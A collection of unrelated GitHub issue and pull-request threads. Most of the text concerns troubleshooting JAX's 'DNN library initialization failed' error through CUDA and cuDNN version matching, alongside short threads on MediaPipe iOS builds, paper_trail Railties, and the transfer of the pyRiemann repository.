File "/home/wangyun/miniconda3/envs/mutimer3/lib/python3.9/site-packages/jax/_src/prng.py", line 732, in random_seed
return random_seed_p.bind(seeds_arr, impl=impl)
File "/home/wangyun/miniconda3/envs/mutimer3/lib/python3.9/site-packages/jax/_src/prng.py", line 744, in random_seed_impl
base_arr = random_seed_impl_base(seeds, impl=impl)
File "/home/wangyun/miniconda3/envs/mutimer3/lib/python3.9/site-packages/jax/_src/prng.py", line 749, in random_seed_impl_base
return seed(seeds)
File "/home/wangyun/miniconda3/envs/mutimer3/lib/python3.9/site-packages/jax/_src/prng.py", line 978, in threefry_seed
return _threefry_seed(seed)
File "/home/wangyun/miniconda3/envs/mutimer3/lib/python3.9/site-packages/jax/_src/traceback_util.py", line 166, in reraise_with_filtered_traceback
return fun(*args, **kwargs)
File "/home/wangyun/miniconda3/envs/mutimer3/lib/python3.9/site-packages/jax/_src/pjit.py", line 208, in cache_miss
outs, out_flat, out_tree, args_flat = _python_pjit_helper(
File "/home/wangyun/miniconda3/envs/mutimer3/lib/python3.9/site-packages/jax/_src/pjit.py", line 155, in _python_pjit_helper
out_flat = pjit_p.bind(*args_flat, **params)
File "/home/wangyun/miniconda3/envs/mutimer3/lib/python3.9/site-packages/jax/_src/core.py", line 2633, in bind
return self.bind_with_trace(top_trace, args, params)
File "/home/wangyun/miniconda3/envs/mutimer3/lib/python3.9/site-packages/jax/_src/core.py", line 383, in bind_with_trace
out = trace.process_primitive(self, map(trace.full_raise, args), params)
File "/home/wangyun/miniconda3/envs/mutimer3/lib/python3.9/site-packages/jax/_src/core.py", line 790, in process_primitive
return primitive.impl(*tracers, **params)
File "/home/wangyun/miniconda3/envs/mutimer3/lib/python3.9/site-packages/jax/_src/pjit.py", line 1085, in _pjit_call_impl
compiled = _pjit_lower(
File "/home/wangyun/miniconda3/envs/mutimer3/lib/python3.9/site-packages/jax/_src/interpreters/pxla.py", line 2313, in compile
executable = UnloadedMeshExecutable.from_hlo(
File "/home/wangyun/miniconda3/envs/mutimer3/lib/python3.9/site-packages/jax/_src/interpreters/pxla.py", line 2633, in from_hlo
xla_executable, compile_options = _cached_compilation(
File "/home/wangyun/miniconda3/envs/mutimer3/lib/python3.9/site-packages/jax/_src/interpreters/pxla.py", line 2551, in _cached_compilation
xla_executable = dispatch.compile_or_get_cached(
File "/home/wangyun/miniconda3/envs/mutimer3/lib/python3.9/site-packages/jax/_src/dispatch.py", line 494, in compile_or_get_cached
return backend_compile(backend, computation, compile_options,
File "/home/wangyun/miniconda3/envs/mutimer3/lib/python3.9/site-packages/jax/_src/profiler.py", line 314, in wrapper
return func(*args, **kwargs)
File "/home/wangyun/miniconda3/envs/mutimer3/lib/python3.9/site-packages/jax/_src/dispatch.py", line 462, in backend_compile
return backend.compile(built_c, compile_options=options)
jax._src.traceback_util.UnfilteredStackTrace: jaxlib.xla_extension.XlaRuntimeError: FAILED_PRECONDITION: DNN library initialization failed. Look at the errors above for more details.
What jax/jaxlib version are you using?
jax 0.4.9, jaxlib 0.4.9+cuda11.cudnn86
My conda virtual environment:
python3.9.0
cudatoolkit               11.8.0              h4ba93d1_12    conda-forge
cudnn                     <IP_ADDRESS>            hed8a83a_0    cudistas
But my OS environment:
NVIDIA-SMI 535.54.03              Driver Version: 535.54.03    CUDA Version: 12.2
ii  cudnn-local-repo-ubuntu1804-<IP_ADDRESS>              1.0-1              amd64        cudnn-local repository configuration files
I try everything what I can , but ……

What is your OS? Can you confirm you run the scripts sequentially and so there is nothing that is using the GPU in parallel?

Hi, I encountered the same problem. When I use A100 to run a single task, it can run normally, but when I submit two tasks at the same time, the above error will be reported. So the reason is that A100 runs two tasks at the same time, will there be a conflict?

Hi, I encountered the same problem. When I use A100 to run a single task, it can run normally, but when I submit two tasks at the same time, the above error will be reported. So the reason is that A100 runs two tasks at the same time, will there be a conflict?

I suppose 2 tasks means 2 process. If not, tell us.
By default, JAX will reserve 75% of the GPU memory for the process:
https://jax.readthedocs.io/en/latest/gpu_memory_allocation.html
So the 2nd process will end up missing GPU memory most of the time. Read that web page to know how to control that 75% memory allocation. If you can lower it to 45% and the first process has enough memory, it will probably work. Otherwise, try a few other values.

Hi, I also have the same issue, could anyone please help me?
E external/xla/xla/stream_executor/cuda/cuda_dnn.cc:407] There was an error before creating cudnn handle (302): cudaGetErrorName symbol not found. : cudaGetErrorString symbol not found.
Traceback (most recent call last):
File "/bd_byt4090i1/users/state_space_model/DNN/S5/run_train.py", line 101, in
train(parser.parse_args())
File "/bd_byt4090i1/users/state_space_model/DNN/S5/s5/train.py", line 41, in train
key = random.PRNGKey(args.jax_seed)
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/random.py", line 160, in PRNGKey
key = prng.seed_with_impl(impl, seed)
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/prng.py", line 406, in seed_with_impl
return random_seed(seed, impl=impl)
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/prng.py", line 690, in random_seed
return random_seed_p.bind(seeds_arr, impl=impl)
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/prng.py", line 702, in random_seed_impl
base_arr = random_seed_impl_base(seeds, impl=impl)
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/prng.py", line 707, in random_seed_impl_base
return seed(seeds)
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/prng.py", line 936, in threefry_seed
return _threefry_seed(seed)
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/traceback_util.py", line 166, in reraise_with_filtered_traceback
return fun(*args, **kwargs)
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/pjit.py", line 250, in cache_miss
outs, out_flat, out_tree, args_flat, jaxpr = _python_pjit_helper(
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/pjit.py", line 163, in _python_pjit_helper
out_flat = pjit_p.bind(*args_flat, **params)
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/core.py", line 2677, in bind
return self.bind_with_trace(top_trace, args, params)
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/core.py", line 383, in bind_with_trace
out = trace.process_primitive(self, map(trace.full_raise, args), params)
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/core.py", line 815, in process_primitive
return primitive.impl(*tracers, **params)
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/pjit.py", line 1203, in _pjit_call_impl
return xc._xla.pjit(name, f, call_impl_cache_miss, [], [], donated_argnums,
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/pjit.py", line 1187, in call_impl_cache_miss
out_flat, compiled = _pjit_call_impl_python(
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/pjit.py", line 1123, in _pjit_call_impl_python
always_lower=False, lowering_platform=None).compile()
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/interpreters/pxla.py", line 2323, in compile
executable = UnloadedMeshExecutable.from_hlo(
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/interpreters/pxla.py", line 2645, in from_hlo
xla_executable, compile_options = _cached_compilation(
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/interpreters/pxla.py", line 2555, in _cached_compilation
xla_executable = dispatch.compile_or_get_cached(
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/dispatch.py", line 497, in compile_or_get_cached
return backend_compile(backend, computation, compile_options,
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/profiler.py", line 314, in wrapper
return func(*args, **kwargs)
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/dispatch.py", line 465, in backend_compile
return backend.compile(built_c, compile_options=options)
jax._src.traceback_util.UnfilteredStackTrace: jaxlib.xla_extension.XlaRuntimeError: FAILED_PRECONDITION: DNN library initialization failed. Look at the errors above for more details.
The stack trace below excludes JAX-internal frames.
The preceding is the original exception that occurred, unmodified.

The above exception was the direct cause of the following exception:
Traceback (most recent call last):
File "/bd_byt4090i1/users/state_space_model/DNN/S5/run_train.py", line 101, in
train(parser.parse_args())
File "/bd_byt4090i1/users/state_space_model/DNN/S5/s5/train.py", line 41, in train
key = random.PRNGKey(args.jax_seed)
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/random.py", line 160, in PRNGKey
key = prng.seed_with_impl(impl, seed)
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/prng.py", line 406, in seed_with_impl
return random_seed(seed, impl=impl)
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/prng.py", line 690, in random_seed
return random_seed_p.bind(seeds_arr, impl=impl)
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/core.py", line 380, in bind
return self.bind_with_trace(find_top_trace(args), args, params)
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/core.py", line 383, in bind_with_trace
out = trace.process_primitive(self, map(trace.full_raise, args), params)
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/core.py", line 815, in process_primitive
return primitive.impl(*tracers, **params)
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/prng.py", line 702, in random_seed_impl
base_arr = random_seed_impl_base(seeds, impl=impl)
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/prng.py", line 707, in random_seed_impl_base
return seed(seeds)
File "/bd_byt4090i1/users/state_space_model/miniconda3/envs/s5/lib/python3.10/site-packages/jax/_src/prng.py", line 936, in threefry_seed
return _threefry_seed(seed)
jaxlib.xla_extension.XlaRuntimeError: FAILED_PRECONDITION: DNN library initialization failed. Look at the errors above for more details.
My jax version:
jax==0.4.13
jaxlib==0.4.13+cuda11.cudnn86
flax==0.7.4
chex==0.1.8
My gpu information:
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 470.223.02   Driver Version: 470.223.02   CUDA Version: 11.4     |
|-------------------------------+----------------------+----------------------+
| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|                               |                      |               MIG M. |
|===============================+======================+======================|
|   0  NVIDIA GeForce ...  Off  | 00000000:83:00.0 Off |                  N/A |
| 21%   35C    P0    40W / 215W |      0MiB /  7982MiB |      0%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+
+-----------------------------------------------------------------------------+
| Processes:                                                                  |
|  GPU   GI   CI        PID   Type   Process name                  GPU Memory |
|        ID   ID                                                   Usage      |
|=============================================================================|
|  No running processes found                                                 |
+-----------------------------------------------------------------------------+
It should be a RTX 2070. Thanks a lot for the help

You are using an old JAX version (0.4.13) and an old driver  that is for CUDA 11.8.
Can you update your NVIDIA driver to at least one that support CUDA 11.8, as this is the min version that is currently supported by JAX? JAX is dropping CUDA 11 in the next releases, so if you can update to CUDA12, that would be better.

You are using an old JAX version (0.4.13) and an old driver that is for CUDA 11.8.
Can you update your NVIDIA driver to at least one that support CUDA 11.8, as this is the min version that is currently supported by JAX? JAX is dropping CUDA 11 in the next releases, so if you can update to CUDA12, that would be better.

Thanks a lot. I tried that, and it worked!

Hi, guys.
I'm here on recommendation.
I'm facing a similar issue: "Not Enough GPU memory? FAILED_PRECONDITION: DNN library initialization failed."
I tried almost everything suggested on these page to resolve the GPU memory problem:
https://github.com/YoshitakaMo/localcolabfold/issues/210
https://github.com/YoshitakaMo/localcolabfold/issues/224
https://github.com/YoshitakaMo/localcolabfold/issues/228
My current jax, cudnn, and nvidia-smi versions are as follows.
(Linux Ubuntu 22.04.2 LTS and RTX 4090)
$nvcc --version
nvcc: NVIDIA (R) Cuda compiler driver
Copyright (c) 2005-2024 NVIDIA Corporation
Built on Tue_Feb_27_16:19:38_PST_2024
Cuda compilation tools, release 12.4, V12.4.99
Build cuda_12.4.r12.4/compiler.33961263_0

$python3.10 -m pip list | grep jax
jax                      0.4.23
jax-cuda12-pjrt          0.4.23
jax-cuda12-plugin        0.4.23
jaxlib                   0.4.23+cuda12.cudnn89

$python3.10 -m pip list | grep cudnn
jaxlib                   0.4.23+cuda12.cudnn89
nvidia-cudnn-cu12        <IP_ADDRESS>

$nvidia-smi
Fri May 10 07:20:32 2024
+-----------------------------------------------------------------------------------------+
| NVIDIA-SMI 550.54.14              Driver Version: 550.54.14      CUDA Version: 12.4     |
|-----------------------------------------+------------------------+----------------------+

Here's the problem I'm encountering:
$colabfold_batch --templates --amber test_A.fasta ./
2024-05-13 06:17:37,861 Running colabfold 1.5.5 (57b220e028610ba7331ebe1ef9c2d0419992469a)
2024-05-13 06:17:38,189 Running on GPU
2024-05-13 06:17:38,738 Found 9 citations for tools or databases
2024-05-13 06:17:38,738 Query 1/1: pdb_A (length 108)
2024-05-13 06:17:41,729 Sequence 0 found templates: ['1m4u_L', '2r52_B', '6oml_Y', '5vt2_B', '2r53_A', '1lxi_A', '4n1d_A', '7zjf_B', '7zjf_A', '6z3g_A', '3qb4_C', '3qb4_A', '6z3j_A', '2h64_A', '4uhy_A', '1reu_A', '4ui0_A', '2h62_B', '4mid_A', '3bk3_B']
2024-05-13 06:17:42,533 Setting max_seq=512, max_extra_seq=5120
2024-05-13 06:17:42,674 Could not predict pdb_A. Not Enough GPU memory? FAILED_PRECONDITION: DNN library initialization failed. Look at the errors above for more details.
2024-05-13 06:17:42,674 Done

I can't find "the errors above."
Can someone offer any guesses or solutions?

JAX releases don't support CUDNN 9 yet. Downgrade to CUDNN 8.9 (or build jaxlib from source with CUDNN 9, that works also)

I got the same error, maybe it due to the mismatch between your cuda version and the installed jax. I use ubuntu 20.04 with cuda version as below:  At start, I installed the newest jax as
pip install --upgrade "jax[cuda12_pip]" -f https://storage.googleapis.com/jax-releases/jax_cuda_releases.html

Then I got the error as reported. So I switched to
pip install --upgrade "jax[cuda11_pip]" -f https://storage.googleapis.com/jax-releases/jax_cuda_releases.html

Everything works well!

but jaxlib has no cuda11

I got the same error, maybe it due to the mismatch between your cuda version and the installed jax. I use ubuntu 20.04 with cuda version as below:  At start, I installed the newest jax as
pip install --upgrade "jax[cuda12_pip]" -f https://storage.googleapis.com/jax-releases/jax_cuda_releases.html

Then I got the error as reported. So I switched to
pip install --upgrade "jax[cuda11_pip]" -f https://storage.googleapis.com/jax-releases/jax_cuda_releases.html

Everything works well!

Great!

I'm getting
jaxlib.xla_extension.XlaRuntimeError: FAILED PRECONDITION: DNN library initialization failed.
Checking if there are any ideas about how to resolve this? JAX version is 0.4.26, CUDA version is 12.4, and cuDNN version is <IP_ADDRESS>, which should be compatible.

I'm getting jaxlib.xla_extension.XlaRuntimeError: FAILED PRECONDITION: DNN library initialization failed.
Checking if there are any ideas about how to resolve this? JAX version is 0.4.26, CUDA version is 12.4, and cuDNN version is <IP_ADDRESS>, which should be compatible.

Same issue here! Above suggestions didn't solve the problem on my side.


Convert userguide to asciidoc: nativeBinaries - playPlugin

Another one for #2740

@erwin I removed the two unrelated commits, sorry for that.
Are we good to merge?

Yes


fixed: Mistake in the text of new JS challenge

Checklist:

[x] I have read freeCodeCamp's contribution guidelines.
[x] My pull request has a descriptive title (not a vague title like Update index.md)
[x] My pull request targets the main branch of freeCodeCamp.
[x] I have tested these changes either locally on my machine, or GitPod.

Closes #XXXXX

Closing as duplicate of https://github.com/freeCodeCamp/freeCodeCamp/pull/48030


Update invocation locator to use AST not tokenization

Ideally i want to locate even invocations thought magic getters like IDE, but seems to be pretty hard (unless...).
$this->service->method()


Should null be the default accessibleOrder?

Besides lineDash, it's generally a Scenery convention to have the default "no value" be null.
Currently, when checking to see if an accessibleOrder is set, we need to check the length (and zero-length is treated as "no order). Internally, we could definitely use a factored out hasAccessibleOrder function.
But client-side, does it make more sense (in order to clear an accessibleOrder) to have:
node.accessibleOrder = null;
// or
node.accessibleOrder = [];

(using null technically creates fewer objects, but I believe unless this happens a LOT, it's probably in the noise and isn't worth worrying much about).
Thoughts?

Seems fine to me either way. Setting it back to null to clear the options it is idiomatic to the *tagName options and how to clear that content from the PDOM.

If null is supported, both
node.accessibleOrder = null;
// and
node.accessibleOrder = [];

would be supported client-side, right? It seems fine to use that here. @jonathanolson if this change would fall nicely into the a11y-tree branch that is great, otherwise please re-assign to one of us to make the change.

Implemented in the a11y-tree branch with the above commit. Presumably review will be included with the branch's review, closing here.


feat: remove "no theme" option when defaultTheme is defined

Resolves #16.
An alternative that could be considered is to remove the "No theme" option internally completely, and allow consumers to define it as 'No theme': null, as one of the options. But I suspect in most cases when defaultTheme is suggested, a no theme option is not expected.
The rest of the whitespace changes came from prettier (I have autoformat on save enabled in my editor) - I can revert those, if necessary, but maybe there should be some enforcement of the prettier code style instead.

great !


Performance when using iOS dynamic framework of HandTrackingGpuApp is slower than using it directly

When using HandTrackingGpuApp iOS app directly to track the finger moving , I saw it quite good and smooth like this video: https://youtu.be/mIpa__UVXsk
But after converting HandTrackingGpuApp app to dynamic framework, the performance 's slower like this video: https://www.youtube.com/watch?v=Hnng4ymm_6k
Can anyone help me for better way please ?

Hi @tommypham, Could you please provide your code changes to understand and investigate the issue for further. Thanks!

Hi @sgowroji ,
I think I 've found the issue because of the thread to open camera and keep tracking the hands:
static const char* kVideoQueueLabel = "com.google.mediapipe.example.videoQueue";

dispatch_queue_attr_t qosAttribute = dispatch_queue_attr_make_with_qos_class(
                                                                                DISPATCH_QUEUE_SERIAL, QOS_CLASS_USER_INTERACTIVE, /*relative_priority=*/0);
self.videoQueue = dispatch_queue_create(kVideoQueueLabel, qosAttribute);

We can not interact as usual way during camera open. For ex: we can add a button to the view controller : HandTrackingViewController and touch the button to test.
When using the dynamic framework in my case to make OCR with tesseract (pod 'TesseractOCRiOS', '4.0.0') , the thread for process of OCR may affect to the thread of tracking hand camera. That 's why it seems slower. But without OCR process, it 's  still a little slower compare with run directly in HandTrackingGpuApp iOS app.

Hi @tommypham. Can you provide the BUILD file you used to build the dynamic framework?

I copied the way to build iOS dynamic framework from here: https://github.com/google/mediapipe/issues/364#issuecomment-575921420
and changed a little bit the Makefile:
framework:
	bazel build --config=ios_arm64 --cxxopt='-std=c++17' mediapipe/develop:MyFramework
	cd bazel-bin/mediapipe/develop/ &&\
	rm -rf MyFramework.framework &&\
	unzip MyFramework.zip &&\
	cd MyFramework.framework &&\
	ar -dv MyFramework  NSError+util_status_f64093ca561b3913726e4e3728906dd8.o

in /mediapipe/develop , I changed the BUILD like this:
load("@build_bazel_rules_apple//apple:ios.bzl", "ios_framework")

ios_framework(
    name = "MyFramework",
    hdrs = [
        "ObjcClass.h",
    ],
    infoplists = ["Info.plist"],
    bundle_id = "com.noppelab.MyFramework",
    families = ["iphone", "ipad"],
    minimum_os_version = "10.0",
    deps = [
        ":HandTrackingGpuAppLibrary",
        "@ios_opencv//:OpencvFramework",
    ],
)

objc_library(
    name = "HandTrackingGpuAppLibrary",
    srcs = [
        "ObjcClass.mm",
    ],
    hdrs = [
        "ObjcClass.h",
    ],

    sdk_frameworks = [
        "AVFoundation",
        "CoreGraphics",
        "CoreMedia",
        "UIKit"
    ],
    copts = ["-std=c++17"],
    data = [
        "//mediapipe/graphs/hand_tracking:hand_tracking_mobile_gpu.binarypb",
        "//mediapipe/modules/hand_landmark:hand_landmark.tflite",
        "//mediapipe/modules/hand_landmark:handedness.txt",
        "//mediapipe/modules/palm_detection:palm_detection.tflite",
    ],
    deps = [
        "//mediapipe/examples/ios/common:CommonMediaPipeAppLibrary",
        "//mediapipe/util:annotation_renderer",
    ] + select({
        "//mediapipe:ios_i386": [],
        "//mediapipe:ios_x86_64": [],
        "//conditions:default": [
            "//mediapipe/graphs/hand_tracking:mobile_calculators",
            "//mediapipe/framework/formats:landmark_cc_proto",
        ],
    }),
)

Final step, I ran command line in the same folder of Makefile : make  to build the framework and used.
@IsaacCavalcante : you can use the dynamic framework to test performance.

Thank you for sharing your resolution in the above comments. We are closing this issue now. Please feel free to reopen if you still have any relevant queries from the above context.


[WIP] Feature examples

[x] Flow
[x] React router for the examples
[x] Change the layout and add a menu
[x] Devtools change visibility

@Ephrame Can you merge this one.


Net - P2P / Update net.cpp

Exclusion for whitelisted nodes added to dupnode condition.

Certain applications require duplicate ip nodes e.a. gateway, point of services, redundant and high bandwidth applications. An option for whitelisted nodes has been added to the dupnode condition to provide usability under these cirumstances.

Please explain why more than one connection on a different port with same IP address would be required for gateway, point of services or redundancy, more bandwidth to any masternode, wallet, seed node or null node.
feel free to DM me on and DSW discord coin channel
techy2

Explanation is already above. You didn't explain why you want to disconnect nodes? Others don't do that. Your dupnode implementaion is preparation for a network attack by separation and denial of nodes and service. Therefore another commit with complete removal of the dupnode condition will follow. Maintainers can also update this commit.

testing on dashd main with 7000+ nodes shows a dozen or more clusters of duplicate nodes on a wallet on my system. 100% of those duplicate nodes do not show up as an IP in the masternode list. Consensus of developers involved is that these are phantoms that provide no service to the network, particularly mnb relay service.
These large node networks suffer from repeated unlocks of collateral on masternodes forcing the investors to restart their masternodes and lose the time to the next reward. The cause of the drop is failure of the mnb to propagate throughout the network. This is documented with extensive testing. Dropping duplicate connections increases the mesh connectivity of the network and improves mnb propagation and does no harm to a real node that gets dropped as it is already connected to the node doing the drop and it will have an available outbound (max connections) to seek a connection elsewhere which will again improve the connectivity of the mesh.
If you think otherwise, please provide at least one good reason why 2 connections to/from 2 nodes on the network would be beneficial.

Thanks @riseup3 the change is already integrated


136 calendar UI update (and new sub-nav)

Issue
Resolves #136
What was done

[x] Create new subheader with calendar button, setting it up on feature tag '#newui'

How to test

Open Peoplemover and navigate to a space.
Note that subheading bar has not changed (narrower)
Change address bar, appending '#newui'.
Updated sub-nav and calendar button will be visible.

Assuming that we play the story to replace the old components with these new ones once the new experience has been deemed fit for public consumption, and that it includes de-duplicating / removing the components, tests, and #newui flag, this is good by me


Switch to Railtie, add config.paper_trail.enabled

This PR does 2 things.

It switches to using a railtie to include paper_trail, fixing the deprecation warning with Rails 4.2.5,closes #584
It allows you to disable of paper_trail from the environment configuration, closes #635

This PR does 2 things.

Would it be awkward to separate this into two PRs? Thanks.

Also, the Railtie class should be housed within lib/paper_trail/frameworks/rails

And it should be loaded in by the PaperTrail::Rails module most likely

I am not familiar with the codebase, I just replaced it in the spot where active record was loaded before.
But I'll have a got at it.

Ok, I moved the code to their respective frameworks.
About splitting the PR, I don't know where/how to access the config variables outside of the RailTie.
So the second PR would still be dependent on this one.

There is another problem with the proposed @disabled ivar, that I didn't see before. PaperTrail::Config is a singleton, so its instance variables are not thread-safe. That's why we started using RequestStore.
As I stated in https://github.com/airblade/paper_trail/issues/635, we have already decided that the flag which enables PT should be thread-safe. It would be very confusing to have two flags controlling whether PT were enabled, and even more confusing if one is thread-safe and the other (@disabled) is not.
I'm going to continue exploring this PR, because I want to learn more about railties in hopes that will fix https://github.com/airblade/paper_trail/issues/635. As it stands, we can't merge this, but let me see what I can come up with.

Unfortunately, simply removing the non-thread-safe @disabled ivar and keeping the rest of the changes re: railties fails to fix https://github.com/airblade/paper_trail/issues/635. Herman, do you have any other ideas?

In https://github.com/airblade/paper_trail/issues/635, we are discussing making the main flag "global" again (ie. moving it out of the RequestStore)

Closing because this PR is continued by https://github.com/airblade/paper_trail/pull/717, which keeps @Hermanverschooten's idea and authorship (thank you!) but renames certain methods to clarify which are thread-safe and which are not.


Release 2.0.0-dev.6

Merge to release 2.0.0-dev.6
Including update the cli readme, marking private methods private in runtime, various changes to createApp api

Why isn't pwa-kit-dev included in this release?


simplifications in configure.ac (obsolecent macros)

From the autoconf doc https://www.gnu.org/savannah-checkouts/gnu/autoconf/manual/autoconf-2.71/autoconf.html the following macros are obsolecent

AC_FUNC_MEMCMP
AC_HEADER_STDC
AC_C_CONST

also all the AC_CHECK_SIZEOF() are useless


Can it Run more tasks at the same time ？

I ment that ,when a task is running , Can there another task running? As I known ,asynctasks.vim  can not! Just run one in the period ,another can't.

Yes! You can absolutely run more than one task at a time.

Amazing ! , test it , good job!

one more question , resize vsplit windows .logs missing parts.

Overseer uses neovim's built-in terminal, which comes with many benefits and some downsides. One of the downsides is that it sets a virtual terminal width, and will not re-flow the layout when the window is resized. That could explain part of what's happening here.
That said, I've never seen exactly what you're showing, where some of the output appears to be missing rather than just squeezed. I'd suggest two things:

See if you can reproduce this by opening a :terminal and running the command directly, then resizing the windows as you did before. If you see the same problem, you can file an issue directly on the neovim repo and they may be able to fix it.
If the first option doesn't work, see if you can get some sort of minimal task that reproduces the issue and post it here. If I can reproduce it, I might be able to figure something out.


Suggestion: Move repo to NeuroTechX org, or add more maintainers

I notice things are kinda stale here on the maintenance side. Notably, there are a few open PRs that look ready to merge (or at least there hasn't been any indication to the contrary).
I understand/assume that @alexandrebarachant is rather busy and only sporadically active in this repo, and I wouldn't ask him to be a more active maintainer (his time is probably better spent on other things than maintenance) so I'd like to suggest two possible solutions:

Move the repo to the NeuroTechX org, where there's a community that could actively and happily support it.
Add more maintainers to this repo.

From looking at the contributor stats, it looks like there aren't really any clear candidates. But @sylvchev has several open PRs and seems to have a good understanding of the subject matter.

The reason for asking this is that there are more issues here I'd like to open PRs to fix, but I won't put in the effort if I'm unlikely to get a response/merge anytime soon. An example would be to move from Travis (which has recently dropped their free-forever CI for open source) to GitHub Actions (see my changes in https://github.com/NeuroTechX/eeg-notebooks/pull/24 for an example).
There are probably more issues at hand, like how to deal with the PyPI upload rights, but I'd just like to throw these two options out and see what people think about these options.

FYI I tried to reach out to @alexandrebarachant
https://github.com/alexandrebarachant in 3 different ways and no response.
I would also suggest to move the repo to another org. It could be:
http://github.com/pyRiemann/pyRiemann
to be more neutral but honestly both works for me

To be honest, someone should just do it. Alexandre moved from academia to the industry some years ago, so probably there is little time for him to continue workong on this project.

Although, this commit is pretty recent: https://github.com/alexandrebarachant/pyRiemann/commit/e232f016578fab0114a5d1de05311646f4a58e78
Anyway, anyone can just fork it and maintain your own version, right? So then having more collaborators in that version would be a way to go.

ok I created the org https://github.com/pyRiemann
@alexandrebarachant can I ask you to transfer pyRiemann to this org
so we can more easily distribute the maintenance and make this great
software progress?
let me know if you would like to be an admin of this org
thanks !

Personally, I think it makes more sense to move it into the @NeuroTechX org (since they've already taken several of @alexandrebarachant's past projects under their wing), but either works.

no strong feelings. Maybe @alexandrebarachant can say what he wants?

Hey all,
I think it's best if I transfer the repo to the pyRiemann org. I will do it ASAP. I need to figure out how to transfer pypi and the documentation hosting as well.
@agramfort thanks a lot for taking the initiative here.
I'm glad to see there is an interest in continuing to improve this library. I don't use it very often anymore, and the simple truth is that I don't have the mental bandwidth to keep maintaining it. Things to fix (CI, docs, PR to merge) have piled up and it's just a bit too much for me at the moment. So I really welcome the initiative and I will gladly spend some time helping setting up the things so that we can get a fresh start here.

thanks Alex !
we'll interate on the org repo
can you give us admin rights on pypi ? I am agramfort on pypi

can you give us admin rights on pypi ?

done

thanks !
let's try to stay with readthedocs for now


RT-2.1: Change in area address - porting changes from #1145 to OTG location

Area address telemetry contains both DUT and ATE Area addresses. Test expects DUT Area Address and ATE Area address to be in specific order.
Added modification to verify the list of AreaAddress in unordered way.
ATE Issue Ref: https://github.com/openconfig/featureprofiles/pull/1145

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 57.081%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
1181

Relevant Lines:
2069

💛  - Coveralls

/gcbrun


Contributing Feature/Tutorial Guides

Hi,
I would like to write up a quick (I don't know how accurate it'll be) beginner-ish guide on collision detection in Luxe.
How exactly do I do this? I see there's a gh-pages branch, but that looks like generated HTML. I don't see any source files (I also checked the samples folder) in the master branch.

Hi, keep in mind that the collision library is actually standalone as well - see here. If there was a particular guide, it may make sense to write it there first.
The documentation is generated from simple markdown - so just write them in an md file and that would be ready to use in many cases. The actual markdown for the current docs are here on the docs-src branch.
I appreciate the desire to help out, though I do hope you read my thoughts on documenting code and features that are not finalized.
With that in mind, I think the best place for a guide at this time is on the differ side.
Can you expand your thoughts on what you wanted to write about? If you elaborate on what you had hoped to see in the guide, then I can help make sure you're spending your time helping effectively.
Thanks!

Thanks for the quick reply. I took a look again at what you have available (tutorial-style guides like this one and feature guides like this one) and realized I'm probably way out of my depth.
I essentially figured out how to get collision-detection working by searching the API and looking at different classes and methods. I then wrote a blog post on it. (TLDR: it uses polygon.testPolygon(targetPolygon))
This might not be the best and most fitting method, and it's probably a good idea to mention testing circle vs. polygon and vice-versa. I wanted to write that content up in a small guide.
Perhaps I should just stick to blogging on my own platform for now and wait for more guides to emerge. You set a very high bar there in terms of quality, and I don't want to invest that much time in writing (I'm on my third day of using Luxe today).
